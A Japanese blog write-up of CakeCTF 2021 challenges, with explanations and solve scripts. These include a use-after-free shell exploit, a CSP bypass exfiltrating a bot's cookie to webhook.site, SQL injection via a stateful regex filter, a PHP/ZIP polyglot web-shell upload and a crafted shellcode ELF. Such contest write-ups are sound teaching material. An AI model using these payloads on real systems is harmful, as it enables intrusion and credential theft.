st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

CakeCTF 2021 writeup

8/28 - 8/29という日程で開催された。zer0ptsで参加して1位。やったー。

(9/29追記) 賞品(マグカップ、タオル、コースター)が届いた。かわいい。


[Web 110] MofuMofu Diary (80 solves)

PHP製のもふもふ画像ビュアー。蔵王キツネ村行きたいなあ。

2回目以降のアクセスのために画像のキャッシュがセッションに保存されている。Cookieには、セッションIDのほかに {"data":[{"name":"images\/01.jpg","description":"Half sleeping cat"}],"expiry":1630800898} のようにキャッシュされた画像の情報がJSONで保存されている。

JSONexpiry はキャッシュが破棄される時刻であり、もしそれを過ぎていれば、以下のようにWebサーバはCookieの情報をもとに再度画像を取得してセッションに保存する。

        $images = glob('images/*.jpg');
        $expiry = time() + 60*60*24*7;

        foreach($images as $image) {
            $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
            $description = trim(file_get_contents($text));
            array_push($results, array(
                'name' => $image,
                'description' => $description
            ));
            $_SESSION[$image] = img2b64($image);
        }

        $cookie = array('data' => $results, 'expiry' => $expiry);
        setcookie('cache', json_encode($cookie), $expiry);

画像の取得先もユーザが操作できるから、/flag.txt も読めてしまう。%7B%22data%22%3A%5B%7B%22name%22%3A%22%2Fflag.txt%22%2C%22description%22%3A%22Half%20sleeping%20cat%22%7D%5D%2C%22expiry%22%3A0%7DCookieに入れてやるとフラグが得られる。

CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns}

[Pwn 113] UAF4b (75 solves)

楽しいUAF。以下のような構造体を悪用してどこかのディレクトリにあるファイルを読み出せばよいらしい。system や構造体のアドレスなど色々教えてくれて優しい。

typedef struct {
  void (*fn_dialogue)(char*);
  char *message;
} COWSAY;
  1. cowsayfree
  2. そのままメッセージの変更をしようとすると cowsay があったアドレスに書き込まれるので、cowsay->fn_dialoguesystem に書き換え
  3. またメッセージの変更、sh と入力
  4. cowsay->fn_dialog(cowsay->message) を実行

このような手順でシェルが取れる。cat f*; exit でフラグが得られる。

import re
from pwn import *

s = remote('pwn.cakectf.com', 9001)
s.recvuntil(b'<system> = ')
system = int(s.recvline(), 16)
print('system', system)

s.recvuntil(b'> ')
s.sendline(b'3')
s.recvuntil(b'> ')
s.sendline(b'4')
r = s.recvuntil(b'> ')
addr = int(re.findall(r'(0x[0-9a-f]+).+fn_dialogue', r.decode())[0], 16)

payload = b''
payload += p64(system)

s.sendline(b'2')
s.sendline(payload)

s.recvuntil(b'> ')
s.sendline(b'2')
s.sendline(b'sh')

s.recvuntil(b'> ')
s.sendline(b'1')

s.sendline(b'cat f*; exit')
s.interactive()

s.close()
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}

[Misc 143] Break a leg (44 solves)

LSBに情報が埋め込まれるタイプのステガノ問なんだけれども、data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] からわかるようにLSBがクリアされないままORで書き込まれてしまっている。

幸いにもフラグの埋め込みは何度も繰り返されているので、フラグの各ビットについて、対応するすべてのピクセルのLSBのうち一度でも 0 が出現していれば 0、そうでなければ 1 とわかる。フラグのビット数はわからないが、暴力解法ブルートフォースで探せばよい。

import itertools
from PIL import Image

def split(s, n):
  return [s[i:i+n] for i in range(0, len(s), n)]

def go(s, n):
  t = split(s, n)[:-8]
  res = []
  for x in range(n):
    c = 0xff
    for v in t:
      c &= v[x]
    res.append(c)
  return [int(''.join(str(b) for b in x[::-1]), 2) for x in split(res, 8)][::-1]

im = Image.open('chall.png')
s = list(itertools.chain.from_iterable(im.getdata()))
t = [x & 1 for x in s]

for x in range(2, 1000):
  res = bytes(go(t, x))
  if b'\x00\x00\x00' in res:
    continue
  print(res)
CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}

[Misc 173] telepathy (29 solves)

以下のように / にアクセスするとフラグを返すバックエンドのWebサーバがあるが、

func run() error {
    e := echo.New()
    e.File("/", "public/flag.txt")
    if err := e.Start(":8000"); err != nil {
        return err
    }
    return nil
}

フロントエンドのnginxは \w\{.*\} という正規表現にマッチする文字列を全部 I'm sending the flag to you by telepathy... Got it? に置換してしまう。

    location / {
        # I'm getting the flag with telepathy...
        proxy_pass  http://app:8000/;

        # I will send the flag to you by HyperTextTelePathy, instead of HTTP
        header_filter_by_lua_block { ngx.header.content_length = nil; }
        body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
    }

バックエンドのサーバがこの正規表現に当てはまらないようにフラグを返すようにすればよい。Range ヘッダ{ より後ろのコンテンツを返すようにさせるとフラグが得られる。

$ curl misc.cakectf.com:18100 -H "Range: bytes=8-"
r4ng3-0r4ng3-r4ng3}

[Cheat 196] Kingtaker (22 solves)

Helltaker的な倉庫番っぽいゲームが与えられる。緑色のyoshikingさんを王冠まで導けば次のステージに進める。岩や壁は通行不可だが、段ボール箱は進行方向に通行不可のオブジェクトがない限り移動させられる。

左下に表示されている数値は残りの移動可能な回数であり、移動したり段ボール箱を押したりすると減少する。

f:id:st98:20210829094110p:plain

最終ステージは明らかに攻略不能なので、カテゴリ名のとおりチートで突破する必要がある。

f:id:st98:20210829094751p:plain

このゲームはGameMaker製で、Web向けにエクスポートされたらしいことがHTMLの gm4html5_div_class というクラス名や GameMaker_Init という関数名から推測できる。ゲームのコードはJavaScriptで記述されているが、javascript-obfuscatorによって難読化されてしまっている。仕方がないので適当なフォーマッタである程度読みやすくしておく。

まず通行できないオブジェクトの上を通行できるようにしたい。それっぽい wall のような文字列を探してみると、以下のようなコードが見つかった。プロパティ名の意味はよくわからないが、値を適当に変えていると、_w20 に変えたときに壁抜けができるようになった。

  }, {
    '_B1': 'obj_wall',
    '_w2': 0x2,
    '_m2': !0x0,
    'parent': -0x64,
    '_t2': [],
    '_u2': []
  }, {

これで通行不可のオブジェクトを無視して移動できるようになったが、先ほどのスクリーンショットで見たように移動回数の問題も解決する必要がある。ステージごとに異なる移動回数が設定されているが、その設定の処理を見つけることはできないだろうか。

第3ステージの移動回数は41回に設定されている。0x29 で検索してみると以下のようなコードが見つかった。ここにブレークポイントを置いてみるとちょうど第3ステージに突入した際に停止した。代入される値を50に変えてみると移動回数も50回に増え、確かにこの処理が移動回数の設定をしていることがわかった。

ついでに _0xcf60a1(0x7bb) の内容を確認すると、これは _n4 という文字列だった。

function _03(_0x4f72bf) {
  var _0xcf60a1 = _0xffd866;
  global[_0xcf60a1(0x7bb)] = 0x29;
}

ほかに global_n4 を参照している箇所を探すと、以下のように最終ステージの移動回数の設定をしているであろう処理が見つかった。0x3 を48に変えてやると、移動回数を48回にまで増やすことができた。

function _13(_0x1dbf6d) {
  global['_n4'] = 0x3;
}

f:id:st98:20210829100335p:plain

このまま王冠に触れるとフラグが表示された。

f:id:st98:20210829100401p:plain

CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}

[Web 196] travelog (22 solves)

ブログ。各投稿の本文でHTML Injectionが可能だが、default-src 'none'; script-src 'nonce-(nonce)' 'unsafe-inline';style-src 'nonce-(nonce)' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/; img-src 'self'; connect-src http: https:; base-uri 'self' というやや厳しめなCSPが有効になっている。

XSS botのコードを確認すると User-Agent にフラグが設定されていることがわかった。つまり外部のURLにアクセスさせるだけでフラグが得られるようだが、残念ながら外部のURLを報告してもXSS botがやって来ることはない。なんとかしてCSPをバイパスする必要がある。

const crawl = async (post_url) => {
    if (!post_url.match(/\/post\/[0-9a-f]{32}\/[0-9a-f]{32}$/)) {
        return;
    }
    const url = base_url + post_url;

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        page.setUserAgent(flag); // [!] steal this flag
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) { }

    await browser.close();
}

設定されているCSPを見ていくと、connect-src ディレクティブの http: https: というガバガバっぷりが気になった。connect-src ディレクティブは a 要素の ping 属性や fetch などで読み込めるURLを制限するものだが、XSS botはリンクをクリックしないし、任意のJavaScriptコードを実行できるわけでもないので悪用はできないように思える。

ちょっと悩んで、link 要素の preload を思い出す。<link rel="preload" href="https://webhook.site/…" as="fetch"> という内容で投稿してXSS botに報告すると、XSS botWebhook.siteにアクセスしてきた。

CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}

これはfirst bloodが取れたら賞品がもらえるという問題だったのだけれども、./Vespiaryに15分負けた😭

[Web 204] travelog again (20 solves)

travelogのリベンジ問らしい。今度は以下のようにフラグが User-Agent でなくCookieに格納されるようになった。httpOnlyfalse に設定されているから、JavaScriptコードの実行ができれば document.cookie からアクセスできるはず。

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        await page.setCookie({
            "domain":"challenge:8080",
            "name":"flag",
            "value":flag,
            "sameSite":"Strict",
            "httpOnly":false,
            "secure":false
        });
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

travelogでは使わなかったが、このブログサービスでは以下のようにファイルのアップロードもできる。ファイルのフォーマットは imghdr によってチェックされており、JPEG以外は受け付けないらしい。

@app.route('/upload', methods=['POST'])
def upload():
    if 'user_id' not in session:
        abort(404)

    images = request.files.getlist('images[]')
    for f in images:
        with tempfile.NamedTemporaryFile() as t:
            f.save(t.name)
            f.seek(0)
            if imghdr.what(t.name) != 'jpeg':
                abort(400)

    for f in images:
        name = os.path.basename(f.filename)
        if name == '':
            abort(400)
        else:
            f.save(PATH_IMAGE.format(user_id=session['user_id'], name=name))

    return 'OK'

アップロードしたファイルは以下のように /uploads/<user_id>/<name> から閲覧できる。send_file が使われているようだが、なぜかMIMEタイプが設定されていない。

アップロード処理では拡張子まではチェックされていないし、ファイル名は保持される。JPEGJavaScriptのpolyglotを hoge.js のようなファイル名でアップロードすれば、Content-Type: application/javascript でそのJSファイルが返ってくるはずだ。

@app.route('/uploads/<user_id>/<name>')
def uploads(user_id, name):
    user_id = user_id.lower()
    if re.fullmatch('[0-9a-f]{32}', user_id) is None:
        abort(404)

    return send_file(PATH_IMAGE.format(user_id=user_id, name=name))

imghdr のコードを確認してみると、なんとJPEGであるかどうかは7バイト目から10バイト目が JFIF または Exif かどうかだけでチェックされている。これなら AAAAAAJFIF でもJPEGと判定されてしまう。

さて、これで script 要素で読み込めば実行可能なJSファイルがアップロードできることがわかったが、残念ながらCSPの script-src'nonce-(nonce)' 'unsafe-inline' であり、そのままでは実行できない。なんとかできないだろうか。

ブログの記事ページをよく見てみると、HTML Injectionが可能な箇所より後ろで ../../show_utils.js が読み込まれていることがわかる。base-uri'self' に設定されているから、<base href="/uploads/(ユーザID)/a/b/"> を挿入してやればアップロードした show_utils.js が読み込まれるようにできるはずだ。

    <div class="uk-container">
        (ここに内容が入る)
    </div>

    <hr>
    <div class="uk-grid-row" uk-grid>
        <div>
            <a href="#" class="uk-icon-button" uk-icon="copy" id="share" uk-tooltip="Copy URL to clipboard"></a>
        </div></div>
    <script nonce="69P8FUHI9EoaHuu3gkPa3w==" src="../../show_utils.js"></script>

show_utils.js というファイル名で AAAAAAJFIF=navigator.sendBeacon('https://webhook.site/…',document.cookie) という内容のファイルをアップロードし、<base href="/uploads/(ユーザID)/a/b/"> という内容の記事を作成する。出来上がった記事をXSS botに報告するとフラグが得られた。

CakeCTF{I'll_n3v3r_trust_HTML:angry:}

[Rev 214] ALDRYA (18 solves)

ELFがmaliciousでないかどうかチェックするALDRYAというシステムを作ったらしい。以下のファイルが与えられている。

  • aldrya (与えられたELFがALDRYA形式のシグネチャにマッチしているか確認し、もしマッチしていればそのELFを実行してくれるELF)
  • sample.elf (Hello, Aldrya! と挨拶するだけのELF)
  • sample.aldrya (sample.elfシグネチャ)
  • server.py (サーバで動いているコード、./aldrya (アップロードしたファイル) ./sample.aldrya を実行してくれる)

まずALDRYAがどのようなフォーマットであるか確認する必要がある。IDA Freewarealdrya を投げてみると綺麗にデコンパイルされた。

Pythonに書き直すと大体以下のようなコードになる。ELFを0x100バイトを1チャンクとして区切ってそれぞれ32ビットのハッシュに変換し、それをALDRYA形式のファイルに格納されているハッシュと比較しているようだ。

import struct

def u32(x):
  return struct.unpack('<I', x)[0]

def ror(x, n):
  return ((x >> n) | (x << (32 - n))) & 0xffffffff

def calc_hash(buf):
  res = 0x20210828
  buf = buf.ljust(0x100, b'\x00')
  for i in range(0x100):
    res ^= buf[i]
    res = ror(res, 1)
  return res

class Aldrya(object):
  def __init__(self, elf, aldrya):
    self._fp_elf = open(elf, 'rb')
    self._fp_aldrya = open(aldrya, 'rb')
    self._chunk_num = None

  def _validate_chunk(self):
    legit_hash = u32(self._fp_aldrya.read(4))
    calced_hash = calc_hash(self._fp_elf.read(0x100))
    if legit_hash != calced_hash:
      return False

    return True

  def _validate_size(self):
    self._chunk_num = u32(self._fp_aldrya.read(4))
    # implement medoi
    self._fp_elf.seek(0)
    return True

  def validate(self):
    if self._fp_elf.read(4) != b'\x7fELF':
      return False

    if not self._validate_size():
      return False

    for _ in range(self._chunk_num):
      if not self._validate_chunk():
        return False

    return True

aldrya = Aldrya('sample.elf', 'sample.aldrya')
print(aldrya.validate())

0x100バイトのチャンクが32ビットに変換される calc_hash の処理を見てみると、1バイトを読み込んでXORし、1ビットだけ右ローテートすることを繰り返していることがわかる。

XORと1ビットずつの右ローテートによって計算されていることを考えると、各チャンクにつき32バイトの 01 からなる好きなバイト列を書き込めれば、ハッシュ値を任意の値に操作することができそうだ。

ということで、sample.aldrya にマッチするような細工されたELFを作っていく。まず加工がしやすいなるべく小さなELFを用意する。以前Plaid CTF 2020のgolf.soのwriteupを参考にDiceCTF 2021のTI-1337 Plus CEで作ったELFをベースに、cat /f* を実行する512バイトのELFが出来上がった。各チャンクの最後の32バイトは A で埋められており、自由に書き換えられるようになっている。

BITS 64

; ref: https://starfleetcadet75.github.io/posts/plaid-2020-golf-so/

ehdr:                               ; Elf64_Ehdr
        db  0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db  0
        dw  3                       ; e_type
        dw  0x3e                    ; e_machine
        dd  0x41424344                       ; e_version
        dq  shell                   ; e_entry
        dq  phdr - $$               ; e_phoff
        dq  0                       ; e_shoff
        dd  0                       ; e_flags
        dw  ehdrsize                ; e_ehsize
        dw  phdrsize                ; e_phentsize
        dw  2                       ; e_phnum
        dw  0                       ; e_shentsize
        dw  0                       ; e_shnum
        dw  0                       ; e_shstrndx
ehdrsize  equ  $ - ehdr

phdr:                               ; Elf64_Phdr
        dd  1                       ; p_type
        dd  7                       ; p_flags
        dq  0                       ; p_offset
        dq  $$                      ; p_vaddr
        dq  $$                      ; p_paddr
        dq  progsize                ; p_filesz
        dq  progsize                ; p_memsz
        dq  0x1000                  ; p_align
phdrsize  equ  $ - phdr
        ; PT_DYNAMIC segment
        dd  2                       ; p_type
        dd  7                       ; p_flags
        dq  dynamic                 ; p_offset
        dq  dynamic                 ; p_vaddr
        dq  dynamic                 ; p_paddr
        dq  dynsize                 ; p_filesz
        dq  dynsize                 ; p_memsz
        dq  0x1000                  ; p_align

times 80 - 32 db 0x0
times 32 db 0x41

shell:
        push rsp
        pop rdi

        ; /bin/sh
        push 0
        push rsp
        pop rdi
        push 0x6e69622f
        pop rax
        xor dword [rdi], eax
        push 0x68732f
        pop rax
        xor dword [rdi+4], eax

        ; -c
        push 0
        push rsp
        pop rcx
        push 0x632d
        pop rax
        xor dword [rcx+0], eax

        ; cat /f*
        push 0
        push rsp
        pop rdx
        push 0x20746163
        pop rax
        xor dword [rdx], eax
        push 0x2a662f
        pop rax
        xor dword [rdx+4], eax

        push 0
        push rdx
        push rcx
        push rdi
        push rsp
        pop rsi
        push 0
        pop rdx

        ; execve("/bin/sh", {"/bin/sh", "-c", "cat /f*"}, NULL)
        push 59
        pop rax
        syscall

        ; exit(0)
        push 0
        pop rdi
        push 60
        pop rax
        syscall

dynamic:
  dt_init:
        dq  0xc, shell
  dt_strtab:
        dq  0x5, shell
  dt_symtab:
        dq  0x6, shell

times (512 - 32 - ($ - $$)) db 0
times 32 db 0x41

dynsize  equ  $ - dynamic
progsize  equ  $ - $$

続いて、sample.aldryaシグネチャにマッチするようにこのELFの各チャンクの最後32バイトを変更するPythonスクリプトを書く。

import struct
from aldrya import Aldrya, calc_hash

def u32(x):
  return struct.unpack('<I', x)[0]

def p32(x):
  return struct.pack('<I', x)

with open('malelf', 'rb') as f:
  s = f.read().ljust(0x200, b'\x00')
with open('sample.elf', 'rb') as f:
  f.seek(len(s))
  s += f.read()

with open('sample.aldrya', 'rb') as f:
  num = u32(f.read(4))
  hashes = []
  for _ in range(num):
    hashes.append(u32(f.read(4)))

target = calc_hash(s[:0x100], size=0x100-0x20) ^ hashes[0]
buf = list(s[:0x100])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = bytes(buf) + s[0x100:]

target = calc_hash(s[0x100:0x200], size=0x100-0x20) ^ hashes[1]
buf = list(s[0x100:0x200])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = s[:0x100] + bytes(buf) + s[0x200:]

with open('result.elf', 'wb') as f:
  f.write(s)

a = Aldrya('sample.elf', 'sample.aldrya')
print(a.validate())
b = Aldrya('result.elf', 'sample.aldrya')
print(b.validate())

完成した result.elf をアップロードするとフラグが得られる。

CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

[Rev 204] rflag (20 solves)

与えられた実行ファイルを実行してみると、毎回ランダムに生成される32バイトのhex stringを当てろと言われる。ヒントとして、文字列を入力するとhex stringの何文字目でそれがマッチしているか4回まで確認できる。

^.+$[0-9] などを入力するとちゃんとマッチすることから、正規表現が使われていることがわかる。ある箇所の文字がある正規表現にマッチしているかしていないかを4回確認できるということは、最終的に4ビットの情報が得られるということを意味する。

[13579bdf][2367abef][4567cdef][89abcdef] の4つの正規表現を使うとhex stringの全体が特定できる。ソルバーを書こう。

from pwn import *

def q(s):
  p.recvuntil(': ')
  p.sendline(s)
  p.recvuntil('Response: ')
  return eval(p.recvline())

rs = ['[13579bdf]', '[2367abef]', '[4567cdef]', '[89abcdef]']

p = remote('misc.cakectf.com', 10023)

a = [q(r) for r in rs]
res = [0 for _ in range(32)]
for i, x in enumerate(a):
  for j in x:
    res[j] |= 1 << i
res = ''.join(hex(x)[2:] for x in res)

p.sendline(res)
p.interactive()

これを実行するとフラグが得られる。

$ python3 solve.py 
[+] Opening connection to misc.cakectf.com on port 10023: Done
[*] Switching to interactive mode
Okay, what's the answer?
Correct!
FLAG: CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}

x0r19x91さんがRustコードにデコンパイルしていてすごいなあという気持ちになった。

[Web 247] My Nyamber (13 solves)

猫に割り振られたマイニャンバーなる番号、または猫の名前から個ニャン情報を引き出せるWebアプリケーションらしい。

コードは以下のように大変シンプルな作りになっている。マイニャンバーで検索をかける場合には parseInt で数値化を、猫の名前で検索をかける場合には '\、空白文字が名前に含まれていないかの確認を施した上でSQLに展開しクエリを実行している。猫の名前で検索する場合には、配列を使うことで複数の個ニャン情報を引き出せるようだ。

const express = require("express");
const sqlite3 = require("sqlite3");
const path = require('path');

const app = express();
const db = new sqlite3.Database('database.db');
app.disable('etag');

/**
 * Run SQL statement
 */
function querySqlStatement(stmt) {
    return new Promise((resolve, reject) => {
        db.get(stmt, (err, row) => {
            if (err) reject(err);
            if (row === undefined)
                reject("Not found");
            else
                resolve(row);
        });
    });
}

/**
 * Find neko by name
 */
async function queryNekoByName(neko_name, callback) {
    let filter = /(\'|\\|\s)/g;
    let result = [];
    if (typeof neko_name === 'string') {
        /* Process single query */
        if (filter.exec(neko_name) === null) {
            try {
                let row = await querySqlStatement(
                    `SELECT * FROM neko WHERE name='${neko_name}'`
                );
                if (row) result.push(row);
            } catch { }
        }
    } else {
        /* Process multiple queries */
        for (let name of neko_name) {
            if (filter.exec(name.toString()) === null) {
                try {
                    let row = await querySqlStatement(
                        `SELECT * FROM neko WHERE name='${name}'`
                    );
                    if (row) result.push(row);
                } catch { }
            }
        }
    }
    callback(result);
}

/**
 * Find neko by My Nyamber
 */
async function queryNekoById(neko_id, callback) {
    let nid = parseInt(neko_id);
    if (!isNaN(nid)) {
        try {
            let row = await querySqlStatement(
                `SELECT * FROM neko WHERE nid=${nid}`
            );
            if (row) {
                callback([row]);
                return;
            }
        } catch { }
    }

    /* Invalid ID or result not found */
    callback([]);
}

app.use(express.static(path.join(__dirname, 'public')))

app.get("/api/neko", function(req, res, next) {
    if (req.query.id == null && req.query.name == null) {
        /* Missing required parameters */
        res.status(400);
        res.json({reason: 'My Nyamber is not set'});
    } else {
        try {
            if (req.query.id) {
                /* Find by My Nyamber */
                queryNekoById(req.query.id,
                              result => { res.json({result}); });
            } else {
                /* Find by name */
                queryNekoByName(req.query.name,
                                result => { res.json({result}); });
            }
        } catch (e) {
            res.status(500);
            res.json({reason: 'SQL query failed :cry:'});
        }
    }
});

app.listen(8080);

一見脆弱性はないように思えるが、猫の名前の検索時に実行されるフィルターの挙動を検証していた際に不思議なことに気づいた。以下のように複数回 filter.exec を実行すると、どういうわけかその結果が毎回変わってしまう。

let filter = /(\'|\\|\s)/g;
const p = "'";
for (let i = 0; i < 10; i++) {
  console.log(filter.exec(p));
}
$ node test.js
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null

MDNを見てみると「JavaScriptRegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g/foo/y) はステートフルになります」という記述があった。確かに filter には g フラグが設定されている。これを使えばフィルターをバイパスしてSQLインジェクションに持ち込めそうだ。

以下のようなスクリプトを書いて実行するとフラグが得られた。

import requests
payload = "' union select flag,2,3,4 from flag;"
r = requests.get('http://web.cakectf.com:8002/api/neko', params={
  f'name[{i}]': payload for i in range(10)
})
print(r.text)
$ python solve.py
{"result":[{"nid":"CakeCTF{BUG-REPORT-ACCEPTED:Reward=222-Matatabi-Sticks}","species":2,"name":3,"age":4}]}

[Web 266] ziperatops (11 solves)

1個以上のZIPをアップロードすると、ZIPに含まれるファイルの名前を列挙してくれるWebアプリケーションらしい。

これもまたコードはシンプル。index.php は以下のような内容になっている。setup という utils.php で定義されている関数によって、アップロードされたZIPファイルを一時ディレクトリに移動させている。エラーが発生するか、ZIPに格納されているファイル名の列挙が終われば cleanup によって一時ディレクトリを削除している。

<?php
require_once 'utils.php';

function ziperatops() {
    /* Upload files */
    list($dname, $err) = setup('zipfile');
    if ($err) {
        cleanup($dname);
        return array(null, $err);
    }

    /* List files in the zip archives */
    $results = array();
    foreach (glob("temp/$dname/*") as $path) {
        $zip = new ZipArchive;
        $zip->open($path);
        for ($i = 0; $i < $zip->count(); $i++) {
            array_push($results, $zip->getNameIndex($i));
        }
    }

    /* Cleanup */
    cleanup($dname);
    return array($results, null);
}

list($results, $err) = ziperatops();
?>

setupcleanup の実装を確認する。utils.php は以下のような内容になっている。setup では、まず一時ディレクトリのディレクトリ名を sha1(uniqid()) で生成している。uniqid に第二引数が渡されていないのでかなり頑張れば予測できそうではあるが、リモートでは難しいだろう。

アップロードされた各ZIPファイルについて、ZIPファイル自身のファイル名をチェックしている。もしチェックに引っかかればその場で処理が中断され、先ほど確認したように一時ディレクトリが削除される。

cleanup では、glob で一時ディレクトリに存在するZIPファイルを削除した後にディレクトリを削除している。

<?php
/**
 * Upload files
 */
function setup($name) {
    /* Create a working directory */
    $dname = sha1(uniqid());
    @mkdir("temp/$dname");

    /* Check if files are uploaded */
    if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name']))
        return array($dname, null);

    /* Validation */
    for ($i = 0; $i < count($_FILES[$name]['name']); $i++) {
        $tmpfile = $_FILES[$name]['tmp_name'][$i];
        $filename = $_FILES[$name]['name'][$i];
        if (!is_uploaded_file($tmpfile))
            continue;

        /* Check the uploaded zip file */
        $zip = new ZipArchive;
        if ($zip->open($tmpfile) !== TRUE)
            return array($dname, "Invalid file format");

        /* Check filename */
        if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
            return array($dname, "Invalid file name: $filename");

        /* Detect hacking attempt (This is not necessary but just in case) */
        if (strstr($filename, "..") !== FALSE)
            return array($dname, "Do not include '..' in file name");

        /* Check extension */
        if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
            return array($dname, "Invalid extension (Only .zip is allowed)");

        /* Move the files */
        if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
            return array($dname, "Failed to upload the file: $dname/$filename");
    }

    return array($dname, null);
}

/**
 * Remove a directory and its contents
 */
function cleanup($dname) {
    foreach (glob("temp/$dname/*") as $file) {
        @unlink($file);
    }
    @rmdir("temp/$dname");
}
?>

さて、ここまで実装を確認してきたが、よく見るとところどころで怪しげな点がある。列挙していくと、

  • 一時ディレクトリが作成される temp/ ディレクトリはドキュメントルート下にあり、アクセスできる
  • ZIPのファイル名のチェックに使われる正規表現/^.+\.zip/$ が使われていない
    • このため、a.zip.php のように実際には拡張子が .zip でなくても通ってしまう
  • cleanup でのファイルの列挙に glob が使われている
    • glob("temp/$dname/*") はドットから始まるファイルを列挙しない。したがって、.a.zip のようなファイルをアップロードするとそのファイルは削除されない。また、ディレクトリにファイルが残っているため rmdir も失敗する
  • move_uploaded_file が失敗すると一時ディレクトリの名前がエラーメッセージとして表示される

という感じ。まとめると、.a.zip.php という名前でZIPとPHPのpolyglotのファイルをアップロードし、一時ディレクトリ下に移動した .a.zip.php にアクセスするとPHPコードが実行されるということになる。一時ディレクトリの名前については、a.zip.(aが300文字続く) のような長い名前のファイルをアップロードすればエラーメッセージから得られる。

この処理を行うスクリプトを書いて実行するとフラグが得られる。

import requests
import re
with open('a.zip', 'rb') as f:
  s = f.read()

BASE_URL = 'http://web.cakectf.com:8004/'
files = {}
files['zipfile[0]'] = ('.a.zip.php', s + b'<?php passthru("cat /f*"); ?>')
files['zipfile[1]'] = ('.a.zip.' + 'a' * 300, s)
r = requests.post(BASE_URL, files=files)
d = re.findall(r'([0-9a-f]+)/', r.text)[0]

r = requests.get(BASE_URL + 'temp/' + d + '/.a.zip.php')
print(r.text)
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}

[Cheat 289] Yoshi-Shogi (9 solves)

Rust製のLinuxで動くGUIの将棋ゲーが与えられる。次の画像のようなハンデのもとで勝てばフラグが得られるらしい。鬼か?

f:id:st98:20210829120815p:plain

これではとても勝てないので、yoshikingさんにもっと手加減してもらえるようチートを試みる。逆アセンブルして関数名を眺めていると、_ZN11yoshi_shogi10init_board17h76976c8c94fadf3fE (デマングルすると yoshi_shogi::init_board::h76976c8c94fadf3f) という気になる関数が見つかった。駒の配置の初期化をしているのだろうか。

雑に movBYTE PTRgrepしてみると確かにそうっぽいなあという気がしてくる。試しに0を代入してみるといくつかyoshikingさん側の駒が消えた。素晴らしい。

…
   ae45a:       c6 40 08 15             mov    BYTE PTR [rax+0x8],0x15
   ae47c:       c6 40 01 14             mov    BYTE PTR [rax+0x1],0x14
   ae49e:       c6 40 07 14             mov    BYTE PTR [rax+0x7],0x14
   ae4c0:       c6 40 02 13             mov    BYTE PTR [rax+0x2],0x13
   ae4e2:       c6 40 06 13             mov    BYTE PTR [rax+0x6],0x13
   ae504:       c6 40 03 12             mov    BYTE PTR [rax+0x3],0x12
   ae526:       c6 40 05 12             mov    BYTE PTR [rax+0x5],0x12
   ae548:       c6 40 04 0f             mov    BYTE PTR [rax+0x4],0xf
   ae56e:       c6 40 01 10             mov    BYTE PTR [rax+0x1],0x10
   ae594:       c6 40 07 11             mov    BYTE PTR [rax+0x7],0x11
…

yoshi_shogi::init_board::h76976c8c94fadf3f 中の処理を書き換えてyoshikingさん側の駒をできるだけ削除してみたものの、通常の盤面からハンデありの盤面に切り替えると、消滅したはずの歩兵たちがと金として墓から蘇ってきてしまった。これは困った。

yoshi_shogi::init_board::h76976c8c94fadf3f だけでなくバイナリの全体を movBYTE PTRgrepしてみると、以下のように yoshi_shogi::init_board::h76976c8c94fadf3f 外で駒を配置している処理が見つかった。これらも書き換える。

…
   a5cc3:       c6 00 1c                mov    BYTE PTR [rax],0x1c
   a5cf0:       c6 40 01 1c             mov    BYTE PTR [rax+0x1],0x1c
   a5d1e:       c6 40 02 1c             mov    BYTE PTR [rax+0x2],0x1c
   a5d4c:       c6 40 03 1c             mov    BYTE PTR [rax+0x3],0x1c
   a5d7a:       c6 40 04 1c             mov    BYTE PTR [rax+0x4],0x1c
   a5da8:       c6 40 05 1c             mov    BYTE PTR [rax+0x5],0x1c
   a5dd6:       c6 40 06 1c             mov    BYTE PTR [rax+0x6],0x1c
   a5e04:       c6 40 07 1c             mov    BYTE PTR [rax+0x7],0x1c
   a5e32:       c6 40 08 1c             mov    BYTE PTR [rax+0x8],0x1c
…

実行するといい感じにyoshikingさんに手加減をしてもらえるようになった。

f:id:st98:20210829120548p:plain

ポチポチ駒を動かしているとフラグが得られた。

f:id:st98:20210829121853p:plain

CakeCTF{https://www.nicovideo.jp/watch/sm19221643}